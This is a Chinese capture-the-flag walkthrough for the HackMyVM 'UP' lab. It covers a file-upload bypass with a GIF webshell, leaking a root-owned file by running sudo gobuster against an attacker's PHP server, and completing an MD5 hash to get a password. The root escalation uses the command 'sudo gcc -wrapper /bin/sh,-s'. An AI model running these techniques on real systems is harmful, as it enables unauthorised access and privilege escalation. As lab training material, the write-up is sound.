HMV-UP

信息收集

先用fscan扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─# ./fscan -h 192.168.20.132          

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
192.168.20.132:80 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://192.168.20.132 code:200 len:4489 title:RodGar - Subir Imagen
已完成 1/1
[*] 扫描结束,耗时: 1.989320329s

发现80端口开启,访问网站

再扫一下网站目录发现了robots.txt

1
dirsearch -u "http://192.168.20.132/uploads/"

文件上传漏洞

查看robots.txt发现网站源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 检查请求方法是否为 POST
$targetDir = "uploads/"; // 设置目标目录为 "uploads/"
$fileName = basename($_FILES["image"]["name"]); // 获取上传文件的原始名称
$fileType = pathinfo($fileName, PATHINFO_EXTENSION); // 获取文件扩展名
$fileBaseName = pathinfo($fileName, PATHINFO_FILENAME); // 获取文件名称(不含扩展名)

$allowedTypes = ['jpg', 'jpeg', 'gif']; // 允许的文件类型
if (in_array(strtolower($fileType), $allowedTypes)) { // 检查文件类型是否符合允许的类型
// 使用ROT13加密文件名
$encryptedFileName = strtr($fileBaseName,
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm');

$newFileName = $encryptedFileName . "." . $fileType; // 拼接加密后的文件名和原文件扩展名
$targetFilePath = $targetDir . $newFileName; // 生成目标文件路径

// 将文件移动到目标目录
if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFilePath)) {
$message = "El archivo se ha subido correctamente."; // 成功上传提示
} else {
$message = "Hubo un error al subir el archivo."; // 上传失败提示
}
} else {
$message = "Solo se permiten archivos JPG y GIF."; // 文件类型不符合时提示
}
}
?>

直接将木马写进gif图片上传,由于数字一般不会被rot13编码,所以用数字命名,上传访问即可拿到shell

提权

权限很低,看看有没有root权限运行的命令

1
2
3
4
5
6
7
8
9
www-data@debian:/var/www/html/uploads$ sudo -l
sudo -l
Matching Defaults entries for www-data on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User www-data may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/gobuster

这里gobuster作用是一款用于目录和文件枚举的开源工具。它主要用于在 Web应用程序Q或网站上査找隐藏的目录和文件,从而进行信息收集或渗透测试。

记得刚刚目录扫描到了一个clue.txt的线索文件,看看

1
2
3
www-data@debian:/var/www/html/uploads$ cat clue.txt
cat clue.txt
/root/rodgarpass

那么就可以利用这个软件的特性读到这个root目录下面的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
先在攻击机子上开启服务
php -S 0.0.0.0:80
然后进行爆破
sudo gobuster dir -u http://192.168.20.128 -w /root/rodgarpass
可以拿到内容
[Sun Nov 10 18:06:14 2024] PHP 8.2.12 Development Server (http://0.0.0.0:80) started
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45110 Accepted
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45110 [404]: GET / - No such file or directory
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45110 Closing
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45114 Accepted
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45114 [404]: GET /949a1fce-4d9a-41e8-a125-a1927643519e - No such file or directory
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45114 Closing
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45130 Accepted
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45130 [404]: GET /b45cffe084dd3d20d928bee85e7b0f2 - No such file or directory
[Sun Nov 10 18:07:24 2024] 192.168.20.132:45130 Closing

这个文件提示的就是rodgar这个用户的密码,b45cffe084dd3d20d928bee85e7b0f2这串字符只有31位,一般md5是32位,那么极可能是密码,去网站上暴力识别一下

然后看看string的md5值发现是b45cffe084dd3d20d928bee85e7b0f21

1
2
└─# echo -n string|md5sum
b45cffe084dd3d20d928bee85e7b0f21 -

可以登录rodgar用户

1
2
3
www-data@debian:/var/www/html/uploads$ su rodgar
su rodgar
Password: b45cffe084dd3d20d928bee85e7b0f21

再看看可以以root执行的命令

1
2
3
4
5
6
7
8
9
rodgar@debian:/var/www/html/uploads$ sudo -l
sudo -l
Matching Defaults entries for rodgar on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User rodgar may run the following commands on debian:
(ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/make

gcc是可以直接提权的

1
2
3
4
5
rodgar@debian:/var/www/html/uploads$ sudo gcc -wrapper /bin/sh,-s .
sudo gcc -wrapper /bin/sh,-s .
# whoami
whoami
root

至此拿到的root权限,user的flag在/home/rodgar/user.txt中,root的flag在/root/rooo_-tt.txt中

知识点

文件上传漏洞、sudo提权、hash补全